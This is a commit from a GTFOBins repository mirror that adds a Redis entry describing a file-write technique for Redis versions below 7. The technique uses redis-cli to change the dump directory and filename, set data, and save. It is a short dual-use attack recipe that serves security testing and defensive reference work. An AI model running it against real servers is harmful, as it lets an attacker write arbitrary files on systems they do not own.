~rek2/GTFOBins

d1d30414fe6d609059bba4794501fcd397e7d3e3 — Mark Davison 7 months ago 1f52a21
Adding Redis file write

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
1 files changed, 13 insertions(+), 0 deletions(-)

A _gtfobins/redis.md
A _gtfobins/redis.md => _gtfobins/redis.md +13 -0
@@ 0,0 1,13 @@
---
description: This works with versions lower than 7.
functions:
  file-write:
    - description: Write files on the server running Redis at the specified location. Written data will appear amongst the database dump, thus it might not be suitable for all kind of purposes.
      code: |
        IP=127.0.0.1
        redis-cli -h $IP
        config set dir dir_to_write_to
        config set dbfilename file_to_write
        set x "DATA"
        save
---